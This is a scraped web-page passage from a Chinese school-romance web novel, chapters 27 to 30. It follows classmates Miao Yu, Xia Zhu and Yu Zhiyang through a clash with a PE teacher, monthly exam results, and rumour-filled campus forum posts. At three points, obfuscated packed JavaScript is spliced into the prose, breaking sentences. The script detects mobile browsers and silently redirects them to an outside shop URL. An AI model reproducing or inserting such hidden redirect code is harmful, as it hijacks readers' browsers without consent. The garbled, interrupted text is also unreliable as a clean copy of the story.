人群后方，刚才讲小话的那个男生忽然插了一句，“啧啧，有些人连自己都管不好，还管我们……” 有女生跟着附和：“烦，怎么还要耽误时间……本来就没几分钟。” 队伍前端，钱老师的声音盖过了其他人，“我本来以为你们升华班……啊，就不用我操心这种小事了，结果呢？？你是班长你带头出问题啊？……” 他话音刚落，午休铃就响了，夏注能感受到周围人不耐烦地叹了口气。 钱老师：“行了行了！不跟你浪费时间，下次记得穿来，你归队吧！” 苗渔点点头，没多说什么，转身归队了。 “站好站好！我说解散了吗，都别动，我拍个照给你们班主任，拍完就解散！” 老师原地后退几步，再次端起手机，想了想，又放下了。他指着苗渔身后道：“苗渔，你跟你身后这个女生换一下位置！你去后边！” 夏注被点到名，心头一紧，还没来得及开口，杨宝儿抢先一步道：“不行啊老师苗渔是领队啊！她怎么能站在后边？” 钱老师：“我又没说她不是领队！就是暂时换一下我拍个照，她那双鞋太显眼了，先去后面藏一下，快点！” “不用换位置。”夏注说，“拍鞋子以上也是一样的，我们班主任主要是看站位，又不是正式上场，不会影响整体效果的。” 钱老师啧一声：“我说你这个女生怎么回事，我要怎么拍照还用你来教？你俩不要耽误大家的时间，苗渔，你去后边藏一下，动作快点！” 苗渔闻言，浑身开始颤抖起来，脸色越发苍白了。 “我不换。” 钱老师：“你说什么？” 苗渔：“我说，我不换位置！” 此言一出，全队集体沉默了。 苗渔出列两步，走到老师面前，仰起头一字一句问：“我一个大活人站在我自己的位置，难道很见不得人吗？为什么要「藏」起来？” 女孩子不算很高，身形很瘦，平日里穿着校服外套看不出来，此刻一身单薄的黄白T恤下关节微微发颤，仿佛风一吹就要折断……这样的苗渔，总给人一种长期营养不良或是病魔缠身的错觉，可是眼神却凌厉得骇人。 体育老师不禁一怔。 他后知后觉才解释道：“苗渔，老师不是这个意思……” 苗渔：“那你什么意思？” “没穿白鞋很丢人吗？是什么天理不容的大错吗？我就算没穿又怎样？你已经批评过我了，我也接受！但我是领队，我的位置就是该在前面！这没错！” 人群缄默了一阵，突然爆发起一阵窸窸窣窣的躁动。 “卧槽，卧槽，这还是苗渔吗？” “连杀气哥都敢回怼？不要命了？我从来没见她这样过……” “真有种，不愧是我们升华一班的班长……我现在佩服得五体投地！！” 队伍前方，苗渔气息有些不稳，却依旧不卑不亢：“就跟夏注说的一样，现在不是正式赛，就算鞋子没统一也不算什么大事吧？你要给我们班主任拍照可以，我可以自己去跟她解释！但我的位置就在这里，我不会换，除非你干脆撤了我的领队一职！” 夏注在心里竖了个大拇指，也出列道：“老师，声明一下，我站我这个位置挺好的，我也不换。” 个人有各位，她对别人的位置不感兴趣，也勉强不来。 苗渔：“对，不换。” 钱老师面色铁青，指着这两个女生说不出话来，最后冷哼一声：“算了！你们爱怎样就怎样吧！现在的学生，当真是越来越了不得！” 拍完了合照，老师宣布解散，众人这才去拿自己的个人物品，返回教室。 苗渔沉着脸走在最前边，脚步很快，没有人敢在这时候靠近她，只有杨宝儿追上去问：“苗渔，你没事吧？体育老头一直就那样，你别……” “没事啊，我不也反驳他了？” 她直接打断了杨宝儿的关心，一回头，脸上阴郁的苍白几近病态，浑身上下萦绕着冰冷的压抑气息。 杨宝儿被她的眼神吓了一跳，一时愣在原地，磕磕巴巴道：“哦、哦……” 她很了解这个朋友，苗渔自尊心很强，就算真的有事她也不会轻易承认的。 “那，如果你的白鞋洗了没有干的话，要不我先借给你一双吧？” 杨宝儿下意识咽了咽口水，继续道：“我，我还有好多双白色的。” “不用了，我不穿别人穿过的东西。” 苗渔留下一句话，头也不回地走远了。 “没穿过啊，都是新的……”杨宝儿在后面喃喃道。 当事人一走，其他同学的意见也逐渐爆发开来，英语课代表走过去挽住杨宝儿，“哎你别管她了，冲你发什么火么真的是……莫名其妙！” 大家三三两两地约着走，前面一小撮说话，后面也听得到。 不远处有个女生问：“诶，你们说苗渔总不会是……没有白色的鞋子吧？” “怎么可能？又不是什么稀罕东西。” “可我平时不怎么见她换啊，校服也是，她那套校服都穿了两年了吧？都有些洗褪色了。我听说她家里边有点困难，会不会就是因为这个？她可能不好意思说出口，才说自己忘记换的？” “那也不至于吧……” 杨宝儿听到这，怒气冲冲甩开胳膊上的那只手臂，转身指着那群人道：“你们，都闭嘴！别再让我听见你们瞎bb！再敢说苗渔半句，别怪我不客气！” 后面有俩男生勾肩搭背走着，满脸不屑道：“切，不说就不说，发什么脾气，说的又不是你……” 杨宝儿：“你TM还敢说？都给我滚！” 男生：“嚯，管天管地管人家说话放屁？你谁啊凭什么叫我滚？我们说两句又没有什么恶意……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16186352|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “噗嗤……没有恶意吗？” 夏注原本低头看手机，独自一人走在全队最后面，闻言突然轻笑一声，插了这一句。 周遭气氛停滞了一瞬，众人纷纷回头看她。 夏注不知道在看什么有意思的东西，嘴角弧度微微上扬，笑起来十分温和。她甚至都没有抬头，就用这样平静的语调道：“人家多久换一次校服关你们屁事？在这里公开谈论别人的家境，诸位历经十数年才养出的一点微末素养和礼貌，是被狗吃了么？如果我是你们的父母，听见这些话，应该对此捶胸顿足然后把你们吊起来打一顿再扔粪坑，反正不干不净的，不能要了～哦，我是说你们的嘴巴。” 声音不大，却各位清晰；明明心不在焉，居然还有心思关注这边；36度的体温说出360度的话，总之叫人莫名火大…… 其中有个男生忍不住了，调转方向一下子冲过去：“ber哪来的小鬼敢这么嚣张你一个新人哪有你说话的份……” 可是刚刚逼近夏注，他就不敢动了。 夏注的目光终于从那破手机屏幕上移开，抬起眸子看了他一眼。 嘴角那抹弧度明明尚未消散，眼神却阴恻恻的，铺天盖地散发着一种危险的警告。 他感觉自己但凡敢动一下，后果可能会很严重……然后下一秒突然很不合时宜的想起一个事：这女的好像跟于支扬打过架，她连于支扬都敢打…… 男生感觉后脖颈有点凉，没敢再多看一眼，转身带着他那兄弟一溜烟跑了。 后续没人再多话，夏注继续若无其事地看手机，众人默默给她让出一条道来，跟在她后面慢慢走，全程没有越到她前面的。 直到隔开一段距离，才有人小声开口：“你们有没有觉得……夏注跟于支扬有一点点像？” 众人纷纷跟着点头，虽然压根说不清究竟哪里像。 夏注一路上楼都在看信息，看着看着才发现身后空无一人。 她刚才忙着训练的时候，于支扬不知撤回了什么，撤了好几次，估计是以为她故意不回，可是她明明一条也没看见！ 问了半天，那头都说没什么，她再怎么套话也没用。可越是这样，夏注好奇心越重，越发觉得自己错过了什么天大的秘密。 下午第一节课是数学，于支扬全程没有回来，应该是提前跟普芹请过假了。 这个人想请假总是很容易，夏注头一次在数学课上走神，总感觉自己已经八百年都没见过他似的…… 所以他到底撤回了什么？能不能不要总是吊人胃口？ “大家的月考成绩在晚饭时间就会公布了，我看过，我们班都考的不错，有一部分同学的进步很大。” 临近下课，普芹坐在讲台上，提前给学生灌鸡汤：“没有发挥好的同学，也不必气馁，就算回到原班级，你们也照样是各个年级的翘楚。我知道大部分同学都是从高一高二直升上来的，本身能力不差，所以查缺补漏之后，更上一层楼也只是时间问题。” 这句话的意思就是一定有人会被刷下去，人人都听得出来。教室里笼罩着低迷的气息，每次有人要离开时，班主任总会象征性宽慰几句。 付少校和夏注是班里唯两个没有游泳分的奇人，更奇的是，眼看马上出成绩了，这俩人脸上居然不见慌张神色，还在讨论晚饭吃什么。 28.第二十八章 下午五点半，付少校一下课就朝食堂去了，说是去给宣传部布置舞台那群人买饭。 校庆晚会在第三艺术楼顶层的大礼堂举办，除此之外，操场那边也有个露天舞台要搭，时间紧任务重，宣传部提前半个月就开始准备了。 “OK，音响调好了！后台！” 付少校赶到现场的时候，于支扬正忙着指挥后台试音。他站在舞台前端的红木演讲桌上，高举话筒，另一只手握着图纸，大声催促：“动作快点，争取6点之前把舞台布置完！” 底下搬东西的人来来往往，还不忘抽空响应一声。 于支扬低头一看，把手里的图纸三下五除二捏成团，怒气冲冲朝底下一个男生脑袋上砸去，喝道：“杨升！把你的棒棒糖给我收起来，别让我逮到第二次！” “知、知道了部长！” “李悦玲，评委席左边那个位置上没有水，去拿两瓶过来！” “好的部长！” 宣传部这群人平日里插科打诨没个正经，在他们部长面前倒是个个乖巧老实，干活也麻利。 付少校提着几个大方便袋，从忙碌的人群中挤过，仰头朝高处望了一眼。心想他于哥是挺帅的啊，不怪校外那些小姑娘一听到一中的宣传部长就走不动道。 “来来来，大伙歇一歇，过来吃饭了！” 付少校把大方便袋朝评委席的长桌上一扔，周围同学迅速蜂拥而上，他从人堆里挤出来，对着高处的于支扬大喊：“月考成绩出来了！你看了没？” “这么快？”于支扬闻言，一只手撑着舞台边沿，从高处跳下来，平稳落地。 付少校：“刚刚公布的，学习部官网上输入学号就能查到，我刚查了自己的分，我这次是倒数第四，woc好险！就比分数线高了3分……” “手机借我一下，赶紧的！” 于支扬快步走过来，把他的手机一把顺走了。 “抢劫啊……你没带吗？” “我手机没电了，借下。” “你干啥了就没电了？” 宣传部那个戴着棒球帽的混血男生，叫杨升的，端着饭盒在旁边凑到他俩旁边，啧啧称奇：“嘿，稀奇了，部长你不是从来就不看成绩的吗？反正看不看都一样，这次有必要这么激动？” 付少校把胳膊搭在他肩膀上，意味深长道：“这你就不懂了吧，这叫，醉翁之意不在酒～” 杨升微微眯眼，嗅到了八卦的味道：“啥意思？” “没啥意思，乖儿子吃你的饭吧。” 付少校眼珠一转，正巧看见于支扬在他手机屏幕上敲敲打打，先是输入夏注的名字，紧接着流利地输入了一串长长的数字…… “？” 这波操作给了付少校震撼一击，脱口而出：“不是吧，你怎么还记得她的学号？” 于支扬头也不抬：“嗯，上次沈通扣她分的时候，我在考勤表上瞄过一眼。” 付少校无言以对。对不起，大佬记性真好，大佬打扰了…… 于支扬的手指在屏幕上反复滑动，嫌信号不好，又把手机高高举起来，下一秒突然僵在半空不动了。嘴里喃喃道：“怎么……会这样？” “怎么了？夏注考砸了？” 付少校赶紧凑过去看。 于支扬嘴角微阖，气息有些不稳，最后艰难地吐出几个字：“不，她进了……很多。” “？？！”付少校把手机抢回来自己看，“卧槽真的假的？你眼花了吧怎么可……能？” 一中升华班本期最低分数线785，夏注的班级和准考证号后面，明明白白写着： 「班级排名：14」 「升华班最低分数线：达标」 她颤抖着双手把手机拿远了看，再凑近看，一连重复几次，最后当场发出尖锐的爆鸣：“牛逼——！这速度TM是开火箭的吧！” 周围十数道目光齐刷刷看过来，都被这鬼动静吓了一跳。 付少校激动到连话都说不利索：“上次倒、倒数第一，这次全班十四？她是……她是怎么做到的？这下没人给我垫底了呜呜呜……全世界都在进步，就只有我在原地踏步……” 于支扬眉头紧蹙，眸色晦暗不明，僵在原地一言不发，目光好似看向远处，又没有什么准确的聚焦点。没有预料之中那种难以置信、或是百般不服气，反而薄唇轻抿，好像正在思考着什么。 “喂，于支扬，你这什么表情？夏注肯定不会被移出一班了，你不高兴？” 于支扬想说我为什么要高兴？话到嘴边，又变成了：“不，我觉得更糟了……” 具体什么更糟了呢，是因为再也无法把人赶出一班了，还是因为别的什么……于支扬现在脑子一片空白。 夏注偏科是忽悠人的，学渣也是装的，她不需要任何人帮忙就能在升华班站稳脚跟，这显得自己先前的担心有点多余又好笑……想到这，于支扬的脸颊开始微微发烫，突然就想不通自己说要教夏注游泳那天，是吃错什么药了，这是他干的蠢事？？ 如此神速的进步夏注究竟是怎么做到的？先前说要挑战他的话，居然是真的？按照这个趋势，假以时日想要赶上他也不是没有可能…… 他不得不承认，他的确小瞧了夏注，夏注有资格，成为他的对手。 付少校：“我预感我们班即将出现一个新的女学霸。讲真的，人家刚来的时候，你说她作弊来着，现在看来真的不是……你有空还是去跟夏注道个歉吧。” 于支扬深吸一口气，单手撑地，一眨眼又翻上了舞台。 他有条不紊地弯腰去捡地上的彩绸，声音闷闷道：“我已经道过歉了，她没生气。” “嘶，于狗，我鄙视你！” 付少校对他同桌如此迅速的投降行为感到羞耻。 他坐在舞台边缘伸了个懒腰，想着想着，又觉得不对劲，微微别过身，见于支扬正抱着彩绸哼歌，心情似乎还不错？心里不禁纳闷：道歉就道歉，人家女孩子没生气那是因为人家大度，他得意个什么劲？ “嘶，不对劲，于支扬，你跟夏注到底怎么回事啊？你俩是不是在一起了？” 他问这话纯属一时兴起，没过脑子，但没料到于支扬的反应会那么大。 话音刚落，身后刚捡到一半的彩绸“哗啦”一声全砸地上，铺开遍地的柔软。于支扬踏着彩绸走来，毫不留情地抬脚就踹，把付少校从舞台边缘踹了下去。 付少校没完全躲开，捂着屁股转过来大喊：“woc！” 他后知后觉意识到自己这么问可能真的太冒昧了。虽然于支扬对夏注的印象有所改观，但这俩人真不太可能有什么牵扯，因为真的不搭啊！！他俩无论是性格脾气、还是身上那股心高气傲的劲儿，都太相似了，太相似的两个人，是不可能玩到一块去的。 “你TM胡说八道什么？听谁说的！” 于支扬站在高处怒气冲冲地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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付少校叹了一口气，也爬上去帮着一起捡，中途小心翼翼回头看了一眼，确保没人听见。没办法，宣传部这群人太八卦了，随便一点风吹草动都能掀翻天去。 “你紧张啥？我就是看你俩最近走得近，所以问问……” 于支扬飞来一记眼刀：“谁跟她走得近？我们不熟！” 这还不熟吗？付少校心说你俩的眼珠子都快长到对方身上去了！以前上课的时候，还只是夏注会经常回头看他，现在位置一换，频频回头的人也换过来了……他在旁边又不是瞎的。 付少校：“你说呢？最近学校论坛上全是你俩的帖子。” “什么帖子？那些没营养的东西你也看？” 把一个男生和一个女生凑一起的，还能是什么帖子！付少校忍不住控诉：“这不行，堂堂一个宣传部长，你怎么能对这些东西一无所知！” 于支扬靠在演讲桌边缘，拧开一瓶水喝了几口，皱眉道：“所以到底怎么了？是要删帖吗？我平时没空上论坛，你要是有意见，我派人肃清一下就行了。” 一言不合就肃清，这是真一点也不在乎？ 换作以前，于支扬不想跟夏注扯上关系，是因为厌恶。那现在明显不那么厌恶了，为什么还是一提就炸毛？ 付少校抓了抓头发，感觉自己真是想多了，“算了算了，我也就是随便说说，没有就没有吧。对了，我刚才买饭的钱记得给我报销下……” 29.第二十九章 高三可能是人一生中智商最高的阶段，夏注觉得这句话有点道理。让一个刚高考完的学生带着记忆再学一次，她能轻松进入升华班一点也不奇怪，在短时间之内突飞猛进也不奇怪。 但是普星星明显不太相信这个说法，非要夏注老实交代是不是参加了哪个课外补习班，或者爬了哪座山，拜了哪座庙。 看看，她宁愿相信玄学也不相信科学，夏注觉得有点离谱。 但架不住前后桌缠了她一整个晚自习，夏注给他们推荐了几个自己最近正在看的学习账号，暂时把人忽悠过去了。 “热爱学习，相信科学，你们要是能把这几位贴主分享所有资料全背下来，名次最起码进五……不，进十！” 这话不算骗人，要是能把高中百十个知识点和上千份例题卷子通通烂熟于心，进步个十几名也不是什么难事。 “那背不下来怎么办？”普星星问。 “背不下来可以抄嘛，俗话说好记性不如烂笔头，你边抄边思考，下次遇见同样的题型肯定都形成肌肉记忆了！” 神TM做题还有肌肉记忆！ 这种鬼话也有人信？于支扬气笑了，回头一看，见夏注旁边围了一圈人，全是跟她要学习账号、讨问进步经验的。 这个人大言不惭地站在人堆里吹牛，没有半点心虚，笼络人心的本事倒日渐熟练。 桌肚里的手机传来嗡嗡两声响动，于支扬拔了充电头，看见屏幕弹窗上跳出一堆消息，“普姐粉丝后援团” 班群里一排新消息全是欢迎词。 【群主杨宝儿邀请夏注加入了群聊】 杨宝儿：【欢迎夏注！】 普星星：【欢迎欢迎，把那几个宝藏账号发群里快快快，大家都看看！】 &：【哇欢迎，我还以为新同学早进来了呢，怎么今天才进啊？杨宝儿你不称职哦～】 杨宝儿：【一时忘了，莫怪莫怪～】 语文课代表：【so？我发现了什么，big胆！所以你们都带手机来学校！】 杨宝儿：【那请问你？】 普星星：【那请问你？】 英语课代表：【那请问你？】 夏注：【那请问你们？】 “……” 夏注把那几个学习账号截图发到群里，然后点开群聊成员，一口气给所有人发去了好友申请。第二节晚自习下课，十人通过了，到第三节晚自习，超过一半人通过了。 夏注望着上面最新通过的那个名字，略微诧异，目光落在不远处沈通的背影上……哦，原来纪委也会带手机来学校啊。 十点半放学铃声响起，付少校麻利地收拾完书包要出去，见他同桌正垂着脑袋聚精会神看手机。 “你看啥呢？” 凑过去一看，好像是些密密麻麻的例题，于支扬拇指往上一滑，付少校这才看清是夏注刚才分享的那几个学习账号。 “这玩意靠谱吗？”他问。 于支扬头也不抬道：“不靠谱，但也不算完全忽悠人。很多题都超纲了，对中下游的成绩没有多少提升价值。” “行，让路让路，我爸还在学校门口等我吃烧烤，诶你吃不吃？一起去啊？” “不想吃。” 付少校把书包丢在桌子上，自己从夹缝过道挤出去，再伸手把包拖出来，转身对着夏注道：“走啊夏注，吃烧烤去！” 他话没说完，屁股上就挨了一脚，于支扬喝道：“半夜三更的要去你自己去！赶紧滚，不然鸡屁股都没得吃！” “不去了，今天我值日，要留下扫地。”夏注也正好回答。 于支扬：“听见没？她说她要扫地！” 付少校：“……” — 夏注去卫生间门口洗拖把回来，看见其他人都走光了，于支扬还留在教室，正埋头抄写什么。 于支扬的座位在靠门第二排，教室里的吊灯已经关了两盏，他堂而皇之把手机放在桌面，白色光线照亮他半张脸的轮廓，睫毛颤抖的幅度尤为清晰。 夏注看了他一眼，没出声打扰，从第一排开始拖地。 拖到第二排，正打算绕开他时，却忽然听见于支扬问：“这些你都看过吗？” 于支扬手里的正是她分享在群里的例题讲解，他只把题目抄在纸上，后面还加了一个大括号，自己标注了考察点和解题思路，分毫不差。 “我现在看过了。” 夏注说。 “那也就是之前根本没看过。”于支扬把书放回桌面，“其中有一个账号分享的题目全部超纲了，一元函数微分学和曲面积分已经超出了高中范围，下次看清楚再发。” “发都发了，除了你，谁会说出来呢？” 夏注微微躬下身，手臂张开撑在两张课桌边缘，把于支扬堵在中间，轻笑道：“学习上的事呢，人人都坚信有自己的一套方法，越厉害的人越是相信自己是对的，当然不会轻易采纳别人的方式了。所以与其公开自己的学习方式，不如激发对方的好胜心，让别人看看我在什么高度。两边比一比，这怎么不算一种……嗯，特有用的激励经验呢？” 于支扬沉默片刻，这才想起来朝后挪了挪椅子：“行吧，也算意想不到的角度。” “应该是我意想不到。”夏注身体前倾，得寸进尺，几乎贴在他身上，“这都能看懂，你好厉害，是自学的吗？你分享一下呗，我跟他们不一样，我就吃这一套……” 于支扬无意识地皱眉，似乎不习惯有人靠他这么近，想再挪一下位置，回头一看被付少校的椅子挡着，挪不动了。 教室里光线幽暗，夏注靠得很近，几乎就贴在他的耳边吐息，嗓音里带着蛊惑，她说她就吃这一套…… 夏注的一缕长发垂落，刚好覆盖在他半截裸露的小臂上，酥酥滑滑的……鼻腔里全是女孩子身上洗发水的味道，于支扬也不敢贸然回头，就这个姿势僵着，脑子里飞速运转该不该把人推开。 “噗嗤……” 夏注忽然笑出声来，终于高抬贵手放他一马，在下面推了推于支扬的鞋。 “抬脚！” 于支扬老实照做，夏注把他脚下拖干净了，又去拖里面的位置，嫌他傻愣愣挡着，不好拖，干脆在他耳朵上拧了一把。 “出去，别碍事！” 于支扬倏一下跳起来，指着夏注“你你你”，你个半天没你出个所以然来，最后胡乱的抓起课桌上的手机和几张卷子，气冲冲出门了。 不知道是不是夏注看错，于支扬脖颈到耳后一片全红了，走时还不忘回头瞪了她一眼。 随便逗两下就能涨个大红脸，好玩是好玩，但也不知道留下帮她一起拖地……夏注嫌弃的撇了撇嘴，有点怀念未来那位眼里全是活的于支扬了。 — “爸，我回来了，爸？” 于支扬刚到楼下就看见家里亮着灯，掏出钥匙进门后又叫了几声，还是没人应。 他走到客厅刚放下手机和卷子，给自己倒了一杯水，身后立即传来一阵啪嗒啪嗒下楼的动静。 楼梯口窜出一个很漂亮的年轻女人，烫着一头栗色大波浪，项链耳环闪闪发光，浑身上下全是最新一季最时髦的搭配。 女人在看见于支扬那一刻顿时两眼放光，“小扬扬！” “爸，我刚才……” 于支扬一回头，刚入口的温水险些喷出来，忙不迭转身就跑，连水杯都来不及放下。 后者踩着高跟鞋也丝毫不受阻，三步并作两步跳下台阶，猫捉老鼠似的朝他身上扑。“我的妈呀你总算回来了！想死我了！快来快来让我抱抱！” “尼玛你怎么又来了啊！”于支扬没跑掉，被她扑个正着，杯子里的温水撒了一地。 “别跑！” “放开劳资！救命啊！” 女人把他抱在怀里翻来覆去的看，掐掐脸蛋，又揉揉头发，要不是男孩子的身高在那，她恨不得把他整个人架起来检查。抱着抱着，有些郁闷道：“你这怎么光长个儿不长肉啊？硌得我骨头疼！” 于支扬咳咳两声：“那你松手啊，我怀疑你要谋杀我！” 女人后退两步，叉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16209109|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰控诉道：“大宝贝，你再这样说，我会生气的啊？我大老远跑来看你，你就这么欢迎我？还有没有良心啊？” 于支扬坐起来把杯子放回原位，鼓起腮帮子单边出气，一脸不服气但打不过所以不跟她计较的表情。 “快说！我不在的时候有没有想我？有没有勾搭其他小姑娘？有没有在下雨天嗷嗷哭？” 这是又戏精上身了。 于支扬坐在沙发上整理领带，不动声色道，“行了小姨，年纪一大把了，成天对着我嗲声嗲气的，戏路走窄了哈。” 支瑶是他妈妈的亲妹妹，出道十年忙得脚不沾地，在他母亲离开后，过来照看过他一两年，大部分时间都在外地拍戏。演员日常就爱随地大小演，于支扬可以理解，小姨时不时就爱冒出一句惊天地泣鬼神的神经台词，于支扬也习惯了。 “臭小子！你说谁年纪一大把？” 支瑶冲过来毫不留情地揪起他一只耳朵往上提，跟夏注揪的位置一模一样。 “怎么跟小姨说话呢？你欠揍是吧？” 于支扬不得不跟着站起来，疼得龇牙咧嘴：“你都33了怎么不是年纪一大把？” 支瑶：“胡说！离33还差两个月呢！” 于支扬：“差两个月也没差多少，你就是年纪一大把还单身狗！” 支瑶：“你不知道女孩子的年龄和生日不能有一丁点的误差吗？” 于支扬：“你算哪门子的女孩子？打架比我都狠……” “是吗是吗？大侄子你再说一遍呢？” 两人你一言我一语，谁也不服谁，支瑶手上的力道逐渐加重，于支扬疼得嗷嗷叫：“疼疼疼！有毒吧，你们怎么一个个都揪我耳朵？” 支瑶闻言突然挑眉，收回右手，有些纳闷道：“谁还揪你耳朵了？？” 于支扬赶紧后撤，背过身去揉耳朵：“没有！” “不会是跟同学打架了吧？” 支瑶眼里闪过一丝狐疑，轻轻摩挲着下巴，忽然握拳拍打掌心，十分激动道：“那你应该把他们都打趴下！你的散打可是我亲自教的！乖乖需要帮忙吗？揍小屁孩什么的我最在行了！” 于支扬：“……” 这脑回路是跑到哪个犄角旮旯赛道去了？ 支瑶仍在摩拳擦掌：“敢欺负我侄子？看我左勾拳一下，右勾拳两下……嘿咻！” 于支扬无语扶额，没理她，转身进了厨房，心想半年不见，这人越活越幼稚了…… 他打开冰箱，拿出两罐可乐，其中一罐隔空丢给小姨，问：“怎么突然回来了？回老家度假吗？” “我专门来看你，不行吗？” “别扯淡了，你什么时候专门来看过我？” 支瑶打开可乐喝了一口，坐在沙发上抓了抓头发：“好吧，我说实话，我最近接了个戏，就在这边取景，就在你家小区外面那条街。我这不是太忙了么，没时间照顾你，我也没办法……” “那不需要。”于支扬说，“我又不是小孩子了，不需要你照顾。你平时该忙就忙，我白天都在学校，不用太care我。” 他走到沙发跟前拿起手机和卷子，“你自己找个房间睡吧，我还有作业，先上楼了。” 他爸今天晚上估计值夜班，不会回来了，于支扬发了个消息过去，然后把手机和可乐卷子一股脑全扔床上，自己进浴室冲了个澡。洗完澡出来的时候十一点半，楼下传来电视的声音，音量开的很大，时不时伴着奇奇怪怪的尖叫，她小姨就是这样，看自己演的剧就总会咋咋呼呼。 于支扬一边擦头发一边打开手机，他爸给他回了个“好”字，后边一段语音全是叫他好好招待小姨之类的客套话。 正打算关掉手机，屏幕上突然跳出一条校园论坛的推送贴，没什么特别的，就是本次月考难题解析一类的内容，他平日里一般都是直接忽略不看。 但此时不知怎的，脑海里突然想起白天付少校跟他说的那句 “最近校园论坛上全是你俩的帖子！” 什么帖子？他怎么不知道？…… 30.第三十章 付少校说的什么帖子？他怎么不知道？ 犹豫片刻，于支扬顺势坐在床边擦头发，点开校园官网。 这个账号自从几个月前删过造谣贴，就再也没上线过了，此刻登录已经失效，于支扬也懒得再登，直接打开论坛。 小圆环转了几圈，一堆花花绿绿的P图海报、照片、小文章和投票活动，就这样跃上屏幕。于支扬一眼看下去，看见好几次他和夏注的名字，还有什么cp楼字样的东西。 最单边热门有几则置顶的帖子，时间集中在半个月前发布的： 毛爷爷我男神：【#于支扬夏注沈通#学生会大乱斗#乱成一锅粥啦！家人们，于支扬和沈通在三楼大厅又双叒叕吵起来了！这次起因是升华班新人夏注要退纪律部？】 我的精神“支注”磕糖小分队：【awsl，于支扬当众说“他敢”！！我的妈呀，还主动邀请夏姐进宣传部，这不是维护是什么？拖把姐你不会说话就闭嘴，好像谁稀罕纪律部似的！】 底下的配图是学生会吵架那天拍的现场照片，摄像机隔得不远，能看清场上每一个人的脸。抓拍的角度很微妙，夏注站在他和沈通中间，隔着屏幕都能感觉到那股诡异的氛围。 于支扬微微皱眉，他那天有说过这话吗？他什么时候维护夏注了？简直胡说八道。 拇指往上一滑，下面评论区还有三百多条回复。 不吃零食：【吵什么吵？你们两个吵到我眼睛了！】 瓜田里的猹：【喔喔喔是两大部长的极限拉扯！姐啊，就不能两个都选吗？小孩子才做选择！】 666：【笑死了，一个障碍人机，一个机关枪，他俩到底咋吵起来的？我没见过哈哈哈，谁能科普一下，谢谢】 纪委求放过：【你TM说谁人机呢？楼上你是不是欠揍？】 这都什么乱七八糟的？？于支扬把被子朝里边挪了挪，盘起腿给手机充上电，退出帖子继续看下一条。 cp楼新号求支持：【上次于神直播，就是夏注当着全校的面说她是于支扬的女朋友，家人们快来一起盘点他俩是啥时候在一起的，欢迎提供线索！】 这位贴主要火不要命，胆大包天带上了话题，点进去一看，实时评论接二连三冒出新的发言：【一班内部投稿！夏注退纪律部那天，于支扬教室里跟夏注道歉被骂滚开？你们有谁见过于支扬低头认错的？】 【他俩要是假的，我倒立洗头！】 【我听说于支扬骂夏注憨包，ber…难道没人觉得这词太暧昧了吗？是不是像极了训小女朋友的样子？重点是夏注真的有在乖乖听话！这到底是谁宠谁呀……】 【投稿！夏注下雨天掉队那次，是于支扬去接她回来的，两人还手牵手进的教室！英语老师亲眼看见了！】 【是的，我昨晚还看见他俩在小树林约会了。】 大部分评论都配了图，要么模糊的看不清，要么动手p过，要么跟文案没有半毛钱关系，真真假假混在一起，已经足够混淆视听。任何一个不明真相的外人点进来一看，大概都会相信确有其事。 于支扬的眉毛越皱越紧，忍不住吐槽：“这都什么？这些照片都是谁拍的？谣言！全都是谣言！” “吃饱了没事干还是嫌作业太少了？尼玛…我又不是你们的消遣！卧槽…到底还有多少？” 他从热门帖最上面一条往下翻，密密麻麻的cp贴半天翻不完，就跟没有尽头似的，粗略统计已经超过20层了，全是他和夏注的名字。 今天发刀了吗：【哎呦不行，这对真的有点好嗑，再没人澄清我都要信了，谁来说句实话到底真不真啊？】 不想上课：【苗渔对不起我改战营了，我现在jio得于支扬和夏注更配…】 孤：【哥们上啊，你媳妇儿要是被人抢走了，我看你跟谁哭去！】 评论区风向逐渐跑偏，于支扬越看越上火，噼里啪啦打了一堆字正要回怼，结果发现自己没登入账号，评论根本发不出去；点击右上角想一键删除所有造谣贴，也没那个删除的按钮。 “艹！” 半夜十二点，升华班的镇楼大佬扯了充电线，抱着手机在房间里无能狂怒：“胡扯！放屁！全都是谣言！” “谁说她是我媳妇了？不熟！不熟！一点也不熟！” “什么鬼，我跟苗渔又有什么关系？没有半毛钱关系！改尼玛的战营？？” “我追她？我追夏注？我什么时候追过？” “哪来什么小树林约会？半夜三更是见鬼了还是老花眼了？简直有病！” “什么玩意儿？！谁P的结婚证！靠！！” 楼上骂骂咧咧，甚至盖过了楼下电视机的声音，小姨从沙发上爬起来，套上拖鞋，走到楼梯口仰头大喊：“于支扬你在楼上念叨什么，吵到老娘看电视了！” 楼上传来于支扬的回怼：“咱俩半斤八两！我还没嫌弃你电视声太吵呢！” “臭小子，我限你一分钟之内闭嘴！” “滚！” 嘿？这小子叫谁滚呢？支瑶一听，怒气冲冲撩起衣袖踩着拖鞋上楼。 房间里，于支扬似乎是真动了火，拖鞋东一只西一只，头发半干不干，脖颈上的毛巾早不知道甩哪去了。 